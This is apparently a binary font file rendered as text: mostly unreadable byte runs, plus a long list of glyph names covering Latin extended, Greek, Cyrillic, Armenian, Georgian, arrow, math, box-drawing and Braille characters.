�� !"#$%&'()*+��,-./0123456789:��;<=>?@ABCDEFGHI��JKLMNOPQRS����TUVWXYZ[\]^_`abcdefghi�jklm��nopqrstuvwxyz{|}~���������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~����������������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDE�FGHIJKLMNOPQRSTUVWXYZ[�\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~������������������������������������������������������������������������������������������������������������������������������������������������	

� !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������������������												
			
																			 	!	"	#	$	%	&	'	(	)	*	+	,	-	.	/	0	1	2	3	4	5	6	7	8	9	:	;	<	=	>	?	@	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z	[	\	]	^	_	`	a	b	c	d	e	f	g	h	i	j	k	l	m	n	o	p	q	r	s	t	u	v	w	x	y	z	{	|	}	~		�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�









	�























 
!
"
#
$
%
&
'
(
)
*
+
,
-
.
/
0
1
2
3
4
5
6
7
8
9
:
;
<
=
>
?
@
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
[
\
]
^
_
`
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
{
|
}
~

�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~����������������������������������������������������������������������������������������������������������������������������������









	























 
!
"
#
$
%
&
'
(
)
*
+
,
-
.
/
0
1
2
3
4
5
6
7
8
9
:
;
<
=
>
?
@
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
[
\
]
^
_
`
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
{
|
}
~

�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�	sfthyphenAmacronamacronAbreveabreveAogonekaogonekCcircumflexccircumflex
Cdotaccent
cdotaccentDcarondcaronDcroatEmacronemacronEbreveebreve
Edotaccent
edotaccentEogonekeogonekEcaronecaronGcircumflexgcircumflex
Gdotaccent
gdotaccentGcommaaccentgcommaaccentHcircumflexhcircumflexHbarhbarItildeitildeImacronimacronIbreveibreveIogonekiogonekIJijJcircumflexjcircumflexKcommaaccentkcommaaccentkgreenlandicLacutelacuteLcommaaccentlcommaaccentLcaronlcaronLdotldotNacutenacuteNcommaaccentncommaaccentNcaronncaronnapostropheEngengOmacronomacronObreveobreve
Ohungarumlaut
ohungarumlautRacuteracuteRcommaaccentrcommaaccentRcaronrcaronSacutesacuteScircumflexscircumflexTcommaaccenttcommaaccentTcarontcaronTbartbarUtildeutildeUmacronumacronUbreveubreveUringuring
Uhungarumlaut
uhungarumlautUogonekuogonekWcircumflexwcircumflexYcircumflexycircumflexZacutezacute
Zdotaccent
zdotaccentlongsuni0180uni0181uni0182uni0183uni0184uni0185uni0186uni0187uni0188uni0189uni018Auni018Buni018Cuni018Duni018Euni018Funi0190uni0191uni0193uni0194uni0195uni0196uni0197uni0198uni0199uni019Auni019Buni019Cuni019Duni019Euni019FOhornohornuni01A2uni01A3uni01A4uni01A5uni01A6uni01A7uni01A8uni01A9uni01AAuni01ABuni01ACuni01ADuni01AEUhornuhornuni01B1uni01B2uni01B3uni01B4uni01B5uni01B6uni01B7uni01B8uni01B9uni01BAuni01BBuni01BCuni01BDuni01BEuni01BFuni01C0uni01C1uni01C2uni01C3uni01C4uni01C5uni01C6uni01C7uni01C8uni01C9uni01CAuni01CBuni01CCuni01CDuni01CEuni01CFuni01D0uni01D1uni01D2uni01D3uni01D4uni01D5uni01D6uni01D7uni01D8uni01D9uni01DAuni01DBuni01DCuni01DDuni01DEuni01DFuni01E0uni01E1uni01E2uni01E3uni01E4uni01E5Gcarongcaronuni01E8uni01E9uni01EAuni01EBuni01ECuni01EDuni01EEuni01EFuni01F0uni01F1uni01F2uni01F3uni01F4uni01F5uni01F6uni01F7uni01F8uni01F9
Aringacute
aringacuteAEacuteaeacuteOslashacuteoslashacuteuni0200uni0201uni0202uni0203uni0204uni0205uni0206uni0207uni0208uni0209uni020Auni020Buni020Cuni020Duni020Euni020Funi0210uni0211uni0212uni0213uni0214uni0215uni0216uni0217Scommaaccentscommaaccentuni021Auni021Buni021Cuni021Duni021Euni021Funi0220uni0221uni0222uni0223uni0224uni0225uni0226uni0227uni0228uni0229uni022Auni022Buni022Cuni022Duni022Euni022Funi0230uni0231uni0232uni0233uni0234uni0235uni0236dotlessjuni0238uni0239uni023Auni023Buni023Cuni023Duni023Euni023Funi0240uni0241uni0242uni0243uni0244uni0245uni0246uni0247uni0248uni0249uni024Auni024Buni024Cuni024Duni024Euni024Funi0250uni0251uni0252uni0253uni0254uni0255uni0256uni0257uni0258uni0259uni025Auni025Buni025Cuni025Duni025Euni025Funi0260uni0261uni0262uni0263uni0264uni0265uni0266uni0267uni0268uni0269uni026Auni026Buni026Cuni026Duni026Euni026Funi0270uni0271uni0272uni0273uni0274uni0275uni0276uni0277uni0278uni0279uni027Auni027Buni027Cuni027Duni027Euni027Funi0280uni0281uni0282uni0283uni0284uni0285uni0286uni0287uni0288uni0289uni028Auni028Buni028Cuni028Duni028Euni028Funi0290uni0291uni0292uni0293uni0294uni0295uni0296uni0297uni0298uni0299uni029Auni029Buni029Cuni029Duni029Euni029Funi02A0uni02A1uni02A2uni02A3uni02A4uni02A5uni02A6uni02A7uni02A8uni02A9uni02AAuni02ABuni02ACuni02ADuni02AEuni02AFuni02B0uni02B1uni02B2uni02B3uni02B4uni02B5uni02B6uni02B7uni02B8uni02B9uni02BAuni02BBuni02BCuni02BDuni02BEuni02BFuni02C0uni02C1uni02C2uni02C3uni02C4uni02C5uni02C8uni02C9uni02CAuni02CBuni02CCuni02CDuni02D0uni02D1uni02D2uni02D3uni02D6uni02D7uni02DEuni02E0uni02E1uni02E2uni02E3uni02E4uni02E5uni02E6uni02E7uni02E8uni02E9uni02ECuni02EEuni02EFuni02F0uni02F3uni02F7	gravecomb	acutecombuni0302	tildecombuni0304uni0305uni0306uni0307uni0308
hookabovecombuni030Auni030Buni030Cuni030Duni030Euni030Funi0310uni0311uni0312uni0313uni0314uni0315uni0316uni0317uni0318uni0319uni031Auni031Buni031Cuni031Duni031Euni031Funi0320uni0321uni0322dotbelowcombuni0324uni0325uni0326uni0327uni0328uni0329uni032Auni032Buni032Cuni032Duni032Euni032Funi0330uni0331uni0332uni0333uni0334uni0335uni0336uni0337uni0338uni0339uni033Auni033Buni033Cuni033Duni033Euni033Funi0343uni034Funi0358uni0360uni0361uni0370uni0371uni0372uni0373uni0374uni0375uni0376uni0377uni037Auni037Buni037Cuni037Duni037Euni037Ftonos
dieresistonos
Alphatonos	anoteleiaEpsilontonosEtatonos	IotatonosOmicrontonosUpsilontonos
OmegatonosiotadieresistonosAlphaBetaGammauni0394EpsilonZetaEtaThetaIotaKappaLambdaMuNuXiOmicronPiRhoSigmaTauUpsilonPhiChiPsiIotadieresisUpsilondieresis
alphatonosepsilontonosetatonos	iotatonosupsilondieresistonosalphabetagammadeltaepsilonzetaetathetaiotakappalambdauni03BCnuxiomicronrhosigma1sigmatauupsilonphichipsiomegaiotadieresisupsilondieresisomicrontonosupsilontonos
omegatonosuni03CFuni03D0theta1Upsilon1uni03D3uni03D4phi1omega1uni03D7uni03D8uni03D9uni03DAuni03DBuni03DCuni03DDuni03DEuni03DFuni03E0uni03E1uni03F0uni03F1uni03F2uni03F3uni03F4uni03F5uni03F6uni03F7uni03F8uni03F9uni03FAuni03FBuni03FCuni03FDuni03FEuni03FFuni0400uni0401uni0402uni0403uni0404uni0405uni0406uni0407uni0408uni0409uni040Auni040Buni040Cuni040Duni040Euni040Funi0410uni0411uni0412uni0413uni0414uni0415uni0416uni0417uni0418uni0419uni041Auni041Buni041Cuni041Duni041Euni041Funi0420uni0421uni0422uni0423uni0424uni0425uni0426uni0427uni0428uni0429uni042Auni042Buni042Cuni042Duni042Euni042Funi0430uni0431uni0432uni0433uni0434uni0435uni0436uni0437uni0438uni0439uni043Auni043Buni043Cuni043Duni043Euni043Funi0440uni0441uni0442uni0443uni0444uni0445uni0446uni0447uni0448uni0449uni044Auni044Buni044Cuni044Duni044Euni044Funi0450uni0451uni0452uni0453uni0454uni0455uni0456uni0457uni0458uni0459uni045Auni045Buni045Cuni045Duni045Euni045Funi0462uni0463uni0464uni0465uni046Auni046Buni046Cuni046Duni0470uni0471uni0472uni0473uni0474uni0475uni0476uni0477uni048Cuni048Duni0490uni0491uni0492uni0493uni0494uni0495uni0496uni0497uni0498uni0499uni049Auni049Buni049Euni049Funi04A0uni04A1uni04A2uni04A3uni04A4uni04A5uni04A6uni04A7uni04AAuni04ABuni04ACuni04ADuni04AEuni04AFuni04B0uni04B1uni04B2uni04B3uni04B4uni04B5uni04B6uni04B7uni04BAuni04BBuni04C0uni04C1uni04C2uni04C3uni04C4uni04C7uni04C8uni04CBuni04CCuni04CFuni04D0uni04D1uni04D2uni04D3uni04D4uni04D5uni04D6uni04D7uni04D8uni04D9uni04DAuni04DBuni04DCuni04DDuni04DEuni04DFuni04E0uni04E1uni04E2uni04E3uni04E4uni04E5uni04E6uni04E7uni04E8uni04E9uni04EAuni04EBuni04ECuni04EDuni04EEuni04EFuni04F0uni04F1uni04F2uni04F3uni04F4uni04F5uni04F6uni04F7uni04F8uni04F9uni0510uni0511uni0512uni0513uni0514uni0515uni051Auni051Buni051Cuni051Duni0531uni0532uni0533uni0534uni0535uni0536uni0537uni0538uni0539uni053Auni053Buni053Cuni053Duni053Euni053Funi0540uni0541uni0542uni0543uni0544uni0545uni0546uni0547uni0548uni0549uni054Auni054Buni054Cuni054Duni054Euni054Funi0550uni0551uni0552uni0553uni0554uni0555uni0556uni0559uni055Auni055Buni055Cuni055Duni055Euni055Funi0561uni0562uni0563uni0564uni0565uni0566uni0567uni0568uni0569uni056Auni056Buni056Cuni056Duni056Euni056Funi0570uni0571uni0572uni0573uni0574uni0575uni0576uni0577uni0578uni0579uni057Auni057Buni057Cuni057Duni057Euni057Funi0580uni0581uni0582uni0583uni0584uni0585uni0586uni0587uni0589uni058Auni0E3Funi10A0uni10A1uni10A2uni10A3uni10A4uni10A5uni10A6uni10A7uni10A8uni10A9uni10AAuni10ABuni10ACuni10ADuni10AEuni10AFuni10B0uni10B1uni10B2uni10B3uni10B4uni10B5uni10B6uni10B7uni10B8uni10B9uni10BAuni10BBuni10BCuni10BDuni10BEuni10BFuni10C0uni10C1uni10C2uni10C3uni10C4uni10C5uni10D0uni10D1uni10D2uni10D3uni10D4uni10D5uni10D6uni10D7uni10D8uni10D9uni10DAuni10DBuni10DCuni10DDuni10DEuni10DFuni10E0uni10E1uni10E2uni10E3uni10E4uni10E5uni10E6uni10E7uni10E8uni10E9uni10EAuni10EBuni10ECuni10EDuni10EEuni10EFuni10F0uni10F1uni10F2uni10F3uni10F4uni10F5uni10F6uni10F7uni10F8uni10F9uni10FAuni10FBuni10FCuni1D00uni1D01uni1D02uni1D03uni1D04uni1D05uni1D06uni1D07uni1D08uni1D09uni1D0Auni1D0Buni1D0Cuni1D0Duni1D0Euni1D0Funi1D10uni1D11uni1D12uni1D13uni1D14uni1D15uni1D16uni1D17uni1D18uni1D19uni1D1Auni1D1Buni1D1Cuni1D1Duni1D1Euni1D1Funi1D20uni1D21uni1D22uni1D23uni1D24uni1D25uni1D26uni1D27uni1D28uni1D29uni1D2Auni1D2Buni1D2Cuni1D2Duni1D2Euni1D2Funi1D30uni1D31uni1D32uni1D33uni1D34uni1D35uni1D36uni1D37uni1D38uni1D39uni1D3Auni1D3Buni1D3Cuni1D3Duni1D3Euni1D3Funi1D40uni1D41uni1D42uni1D43uni1D44uni1D45uni1D46uni1D47uni1D48uni1D49uni1D4Auni1D4Buni1D4Cuni1D4Duni1D4Euni1D4Funi1D50uni1D51uni1D52uni1D53uni1D54uni1D55uni1D56uni1D57uni1D58uni1D59uni1D5Auni1D5Buni1D5Cuni1D5Duni1D5Euni1D5Funi1D60uni1D61uni1D62uni1D63uni1D64uni1D65uni1D66uni1D67uni1D68uni1D69uni1D6Auni1D6Buni1D77uni1D78uni1D7Buni1D7Cuni1D7Duni1D7Euni1D7Funi1D85uni1D9Buni1D9Cuni1D9Duni1D9Euni1D9Funi1DA0uni1DA1uni1DA2uni1DA3uni1DA4uni1DA5uni1DA6uni1DA7uni1DA8uni1DA9uni1DAAuni1DABuni1DACuni1DADuni1DAEuni1DAFuni1DB0uni1DB1uni1DB2uni1DB3uni1DB4uni1DB5uni1DB6uni1DB7uni1DB8uni1DB9uni1DBAuni1DBBuni1DBCuni1DBDuni1DBEuni1DBFuni1DC4uni1DC5uni1DC6uni1DC7uni1DC8uni1DC9uni1E00uni1E01uni1E02uni1E03uni1E04uni1E05uni1E06uni1E07uni1E08uni1E09uni1E0Auni1E0Buni1E0Cuni1E0Duni1E0Euni1E0Funi1E10uni1E11uni1E12uni1E13uni1E14uni1E15uni1E16uni1E17uni1E18uni1E19uni1E1Auni1E1Buni1E1Cuni1E1Duni1E1Euni1E1Funi1E20uni1E21uni1E22uni1E23uni1E24uni1E25uni1E26uni1E27uni1E28uni1E29uni1E2Auni1E2Buni1E2Cuni1E2Duni1E2Euni1E2Funi1E30uni1E31uni1E32uni1E33uni1E34uni1E35uni1E36uni1E37uni1E38uni1E39uni1E3Auni1E3Buni1E3Cuni1E3Duni1E3Euni1E3Funi1E40uni1E41uni1E42uni1E43uni1E44uni1E45uni1E46uni1E47uni1E48uni1E49uni1E4Auni1E4Buni1E4Cuni1E4Duni1E4Euni1E4Funi1E50uni1E51uni1E52uni1E53uni1E54uni1E55uni1E56uni1E57uni1E58uni1E59uni1E5Auni1E5Buni1E5Cuni1E5Duni1E5Euni1E5Funi1E60uni1E61uni1E62uni1E63uni1E64uni1E65uni1E66uni1E67uni1E68uni1E69uni1E6Auni1E6Buni1E6Cuni1E6Duni1E6Euni1E6Funi1E70uni1E71uni1E72uni1E73uni1E74uni1E75uni1E76uni1E77uni1E78uni1E79uni1E7Auni1E7Buni1E7Cuni1E7Duni1E7Euni1E7FWgravewgraveWacutewacute	Wdieresis	wdieresisuni1E86uni1E87uni1E88uni1E89uni1E8Auni1E8Buni1E8Cuni1E8Duni1E8Euni1E8Funi1E90uni1E91uni1E92uni1E93uni1E94uni1E95uni1E96uni1E97uni1E98uni1E99uni1E9Auni1E9Buni1E9Cuni1E9Duni1E9Euni1E9Funi1EA0uni1EA1uni1EA2uni1EA3uni1EA4uni1EA5uni1EA6uni1EA7uni1EA8uni1EA9uni1EAAuni1EABuni1EACuni1EADuni1EAEuni1EAFuni1EB0uni1EB1uni1EB2uni1EB3uni1EB4uni1EB5uni1EB6uni1EB7uni1EB8uni1EB9uni1EBAuni1EBBuni1EBCuni1EBDuni1EBEuni1EBFuni1EC0uni1EC1uni1EC2uni1EC3uni1EC4uni1EC5uni1EC6uni1EC7uni1EC8uni1EC9uni1ECAuni1ECBuni1ECCuni1ECDuni1ECEuni1ECFuni1ED0uni1ED1uni1ED2uni1ED3uni1ED4uni1ED5uni1ED6uni1ED7uni1ED8uni1ED9uni1EDAuni1EDBuni1EDCuni1EDDuni1EDEuni1EDFuni1EE0uni1EE1uni1EE2uni1EE3uni1EE4uni1EE5uni1EE6uni1EE7uni1EE8uni1EE9uni1EEAuni1EEBuni1EECuni1EEDuni1EEEuni1EEFuni1EF0uni1EF1Ygraveygraveuni1EF4uni1EF5uni1EF6uni1EF7uni1EF8uni1EF9uni1EFAuni1EFBuni1F00uni1F01uni1F02uni1F03uni1F04uni1F05uni1F06uni1F07uni1F08uni1F09uni1F0Auni1F0Buni1F0Cuni1F0Duni1F0Euni1F0Funi1F10uni1F11uni1F12uni1F13uni1F14uni1F15uni1F18uni1F19uni1F1Auni1F1Buni1F1Cuni1F1Duni1F20uni1F21uni1F22uni1F23uni1F24uni1F25uni1F26uni1F27uni1F28uni1F29uni1F2Auni1F2Buni1F2Cuni1F2Duni1F2Euni1F2Funi1F30uni1F31uni1F32uni1F33uni1F34uni1F35uni1F36uni1F37uni1F38uni1F39uni1F3Auni1F3Buni1F3Cuni1F3Duni1F3Euni1F3Funi1F40uni1F41uni1F42uni1F43uni1F44uni1F45uni1F48uni1F49uni1F4Auni1F4Buni1F4Cuni1F4Duni1F50uni1F51uni1F52uni1F53uni1F54uni1F55uni1F56uni1F57uni1F59uni1F5Buni1F5Duni1F5Funi1F60uni1F61uni1F62uni1F63uni1F64uni1F65uni1F66uni1F67uni1F68uni1F69uni1F6Auni1F6Buni1F6Cuni1F6Duni1F6Euni1F6Funi1F70uni1F71uni1F72uni1F73uni1F74uni1F75uni1F76uni1F77uni1F78uni1F79uni1F7Auni1F7Buni1F7Cuni1F7Duni1F80uni1F81uni1F82uni1F83uni1F84uni1F85uni1F86uni1F87uni1F88uni1F89uni1F8Auni1F8Buni1F8Cuni1F8Duni1F8Euni1F8Funi1F90uni1F91uni1F92uni1F93uni1F94uni1F95uni1F96uni1F97uni1F98uni1F99uni1F9Auni1F9Buni1F9Cuni1F9Duni1F9Euni1F9Funi1FA0uni1FA1uni1FA2uni1FA3uni1FA4uni1FA5uni1FA6uni1FA7uni1FA8uni1FA9uni1FAAuni1FABuni1FACuni1FADuni1FAEuni1FAFuni1FB0uni1FB1uni1FB2uni1FB3uni1FB4uni1FB6uni1FB7uni1FB8uni1FB9uni1FBAuni1FBBuni1FBCuni1FBDuni1FBEuni1FBFuni1FC0uni1FC1uni1FC2uni1FC3uni1FC4uni1FC6uni1FC7uni1FC8uni1FC9uni1FCAuni1FCBuni1FCCuni1FCDuni1FCEuni1FCFuni1FD0uni1FD1uni1FD2uni1FD3uni1FD6uni1FD7uni1FD8uni1FD9uni1FDAuni1FDBuni1FDDuni1FDEuni1FDFuni1FE0uni1FE1uni1FE2uni1FE3uni1FE4uni1FE5uni1FE6uni1FE7uni1FE8uni1FE9uni1FEAuni1FEBuni1FECuni1FEDuni1FEEuni1FEFuni1FF2uni1FF3uni1FF4uni1FF6uni1FF7uni1FF8uni1FF9uni1FFAuni1FFBuni1FFCuni1FFDuni1FFEuni2000uni2001uni2002uni2003uni2004uni2005uni2006uni2007uni2008uni2009uni200Auni200Buni200Cuni200Duni200Euni200Funi2010uni2011
figuredashuni2015uni2016
underscoredbl
quotereverseduni201Funi2023onedotenleadertwodotenleaderuni202Auni202Buni202Cuni202Duni202Euni202Funi2031minuteseconduni2034uni2035uni2036uni2037uni2038	exclamdbluni203Duni203Euni2042uni2045uni2046uni2047uni2048uni2049uni204Buni204Cuni204Duni204Euni204Funi2051uni2052uni2053uni2057uni205Funi2060uni2061uni2062uni2063uni2064uni206Auni206Buni206Cuni206Duni206Euni206Funi2070uni2071uni2074uni2075uni2076uni2077uni2078uni2079uni207Auni207Buni207Cuni207Duni207Euni207Funi2080uni2081uni2082uni2083uni2084uni2085uni2086uni2087uni2088uni2089uni208Auni208Buni208Cuni208Duni208Euni2090uni2091uni2092uni2093uni2094uni2095uni2096uni2097uni2098uni2099uni209Auni209Buni209Cuni20A6Eurouni20AFuni20B1uni20B4uni20B5uni20B8uni20B9uni20BAuni20BDuni2103uni2109uni210Euni210Funi2116uni2126uni2127uni212Auni212Buni2132uni2141uni2142uni2143uni2144uni214Buni214Euni2150uni2151uni2152onethird	twothirdsuni2155uni2156uni2157uni2158uni2159uni215A	oneeighththreeeighthsfiveeighthsseveneighthsuni215Funi2160uni2161uni2162uni2163uni2164uni2165uni2166uni2167uni2168uni2169uni216Auni216Buni216Cuni216Duni216Euni216Funi2170uni2171uni2172uni2173uni2174uni2175uni2176uni2177uni2178uni2179uni217Auni217Buni217Cuni217Duni217Euni217Funi2180uni2181uni2182uni2183uni2184uni2185uni2189	arrowleftarrowup
arrowright	arrowdown	arrowboth	arrowupdnuni2196uni2197uni2198uni2199uni219Auni219Buni219Cuni219Duni219Euni219Funi21A0uni21A1uni21A2uni21A3uni21A4uni21A5uni21A6uni21A7arrowupdnbseuni21A9uni21AAuni21ABuni21ACuni21ADuni21AEuni21AFuni21B0uni21B1uni21B2uni21B3uni21B4carriagereturnuni21B6uni21B7uni21B8uni21B9uni21BAuni21BBuni21BCuni21BDuni21BEuni21BFuni21C0uni21C1uni21C2uni21C3uni21C4uni21C5uni21C6uni21C7uni21C8uni21C9uni21CAuni21CBuni21CCuni21CDuni21CEuni21CFarrowdblleft
arrowdblup
arrowdblrightarrowdbldownarrowdblbothuni21D5uni21D6uni21D7uni21D8uni21D9uni21DAuni21DBuni21DCuni21DDuni21DEuni21DFuni21E0uni21E1uni21E2uni21E3uni21E4uni21E5uni21E6uni21E7uni21E8uni21E9uni21EAuni21EBuni21ECuni21EDuni21EEuni21EFuni21F0uni21F1uni21F2uni21F3uni21F4uni21F5uni21F6uni21F7uni21F8uni21F9uni21FAuni21FBuni21FCuni21FDuni21FEuni21FF	universalexistentialuni2204gradientelement
notelementsuchthatuni220Cuni2210uni2213uni2214uni2215asteriskmathuni2218uni2219uni221Buni221Cproportional
orthogonalangleuni2223uni2224uni2225uni2226
logicaland	logicalorintersectionunionuni222Cuni222Duni2238uni2239uni223Auni223Bsimilaruni223Duni2242uni2243uni2250uni2251uni2252uni2253uni2254uni2255equivalencepropersubsetpropersuperset	notsubsetuni2285reflexsubsetreflexsupersetuni228Cuni228Duni228Euni228Funi2290uni2291uni2292uni2293uni2294
circleplusuni2296circlemultiplyuni2298uni2299uni229Auni229Buni229Cuni229Duni229Euni229Funi22A0uni22A1uni22A2uni22A3uni22A4
perpendicularuni22A6uni22A7uni22A8uni22A9uni22AAuni22ABuni22ACuni22ADuni22AEuni22AFuni22C4dotmathhouseuni2308uni2309uni230Auni230B
revlogicalnotuni2311uni2318uni2319
integraltp
integralbtuni2325uni2328uni237Duni239Buni239Cuni239Duni239Euni239Funi23A0uni23A1uni23A2uni23A3uni23A4uni23A5uni23A6uni23A7uni23A8uni23A9uni23AAuni23ABuni23ACuni23ADuni23AEuni23CFuni2423SF100000uni2501SF110000uni2503uni2504uni2505uni2506uni2507uni2508uni2509uni250Auni250BSF010000uni250Duni250Euni250FSF030000uni2511uni2512uni2513SF020000uni2515uni2516uni2517SF040000uni2519uni251Auni251BSF080000uni251Duni251Euni251Funi2520uni2521uni2522uni2523SF090000uni2525uni2526uni2527uni2528uni2529uni252Auni252BSF060000uni252Duni252Euni252Funi2530uni2531uni2532uni2533SF070000uni2535uni2536uni2537uni2538uni2539uni253Auni253BSF050000uni253Duni253Euni253Funi2540uni2541uni2542uni2543uni2544uni2545uni2546uni2547uni2548uni2549uni254Auni254Buni254Cuni254Duni254Euni254FSF430000SF240000SF510000SF520000SF390000SF220000SF210000SF250000SF500000SF490000SF380000SF280000SF270000SF260000SF360000SF370000SF420000SF190000SF200000SF230000SF470000SF480000SF410000SF450000SF460000SF400000SF540000SF530000SF440000uni256Duni256Euni256Funi2570uni2571uni2572uni2573uni2574uni2575uni2576uni2577uni2578uni2579uni257Auni257Buni257Cuni257Duni257Euni257Fupblockuni2581uni2582uni2583dnblockuni2585uni2586uni2587blockuni2589uni258Auni258Blfblockuni258Duni258Euni258Frtblockltshadeshadedkshadeuni2594uni2595uni2596uni2597uni2598uni2599uni259Auni259Buni259Cuni259Duni259Euni259F	filledboxH22073uni25A2uni25A3uni25A4uni25A5uni25A6uni25A7uni25A8uni25A9H18543H18551
filledrectuni25ADuni25AEuni25AFuni25B0uni25B1triagupuni25B3uni25B4uni25B5uni25B6uni25B7uni25B8uni25B9triagrtuni25BBtriagdnuni25BDuni25BEuni25BFuni25C0uni25C1uni25C2uni25C3triaglfuni25C5uni25C6uni25C7uni25C8uni25C9circleuni25CCuni25CDuni25CEH18533uni25D0uni25D1uni25D2uni25D3uni25D4uni25D5uni25D6uni25D7	invbullet	invcircleuni25DAuni25DBuni25DCuni25DDuni25DEuni25DFuni25E0uni25E1uni25E2uni25E3uni25E4uni25E5
openbulletuni25E7uni25E8uni25E9uni25EAuni25EBuni25ECuni25EDuni25EEuni25EFuni25F0uni25F1uni25F2uni25F3uni25F4uni25F5uni25F6uni25F7uni25F8uni25F9uni25FAuni25FBuni25FCuni25FDuni25FEuni25FFuni2600uni2638uni2639	smilefaceinvsmilefacesununi263Ffemaleuni2641maleuni2643uni2644uni2645uni2646uni2647spadeuni2661uni2662clubuni2664heartdiamonduni2667uni2669musicalnotemusicalnotedbluni266Cuni266Duni266Euni266Funi27A1uni27C5uni27C6uni27E0uni27E8uni27E9uni27F0uni27F1uni27F2uni27F3uni27F4uni27F5uni27F6uni27F7uni27F8uni27F9uni27FAuni27FBuni27FCuni27FDuni27FEuni27FFuni2800uni2801uni2802uni2803uni2804uni2805uni2806uni2807uni2808uni2809uni280Auni280Buni280Cuni280Duni280Euni280Funi2810uni2811uni2812uni2813uni2814uni2815uni2816uni2817uni2818uni2819uni281Auni281Buni281Cuni281Duni281Euni281Funi2820uni2821uni2822uni2823uni2824uni2825uni2826uni2827uni2828uni2829uni282Auni282Buni282Cuni282Duni282Euni282Funi2830uni2831uni2832uni2833uni2834uni2835uni2836uni2837uni2838uni2839uni283Auni283Buni283Cuni283Duni283Euni283Funi2840uni2841uni2842uni2843uni2844uni2845uni2846uni2847uni2848uni2849uni284Auni284Buni284Cuni284Duni284Euni284Funi2850uni2851uni2852uni2853uni2854uni2855uni2856uni2857uni2858uni2859uni285Auni285Buni285Cuni285Duni285Euni285Funi2860uni2861uni2862uni2863uni2864uni2865uni2866uni2867uni2868uni2869uni286Auni286Buni286Cuni286Duni286Euni286Funi2870uni2871uni2872uni2873uni2874uni2875uni2876uni2877uni2878uni2879uni287Auni287Buni287Cuni287Duni287Euni287Funi2880uni2881uni2882uni2883uni2884uni2885uni2886uni2887uni2888uni2889uni288Auni288Buni288Cuni288Duni288Euni288Funi2890uni2891uni2892uni2893uni2894uni2895uni2896uni2897uni2898uni2899uni289Auni289Buni289Cuni289Duni289Euni289Funi28A0uni28A1uni28A2uni28A3uni28A4uni28A5uni28A6uni28A7uni28A8uni28A9uni28AAuni28ABuni28ACuni28ADuni28AEuni28AFuni28B0uni28B1uni28B2uni28B3uni28B4uni28B5uni28B6uni28B7uni28B8uni28B9uni28BAuni28BBuni28BCuni28BDuni28BEuni28BFuni28C0uni28C1uni28C2uni28C3uni28C4uni28C5uni28C6uni28C7uni28C8uni28C9uni28CAuni28CBuni28CCuni28CDuni28CEuni28CFuni28D0uni28D1uni28D2uni28D3uni28D4uni28D5uni28D6uni28D7uni28D8uni28D9uni28DAuni28DBuni28DCuni28DDuni28DEuni28DFuni28E0uni28E1uni28E2uni28E3uni28E4uni28E5uni28E6uni28E7uni28E8uni28E9uni28EAuni28EBuni28ECuni28EDuni28EEuni28EFuni28F0uni28F1uni28F2uni28F3uni28F4uni28F5uni28F6uni28F7uni28F8uni28F9uni28FAuni28FBuni28FCuni28FDuni28FEuni28FFuni2900uni2901uni2902uni2903uni2904uni2905uni2906uni2907uni2908uni2909uni290Auni290Buni290Cuni290Duni290Euni290Funi2910uni2911uni2912uni2913uni2914uni2915uni2916uni2917uni2918uni2919uni291Auni291Buni291Cuni291D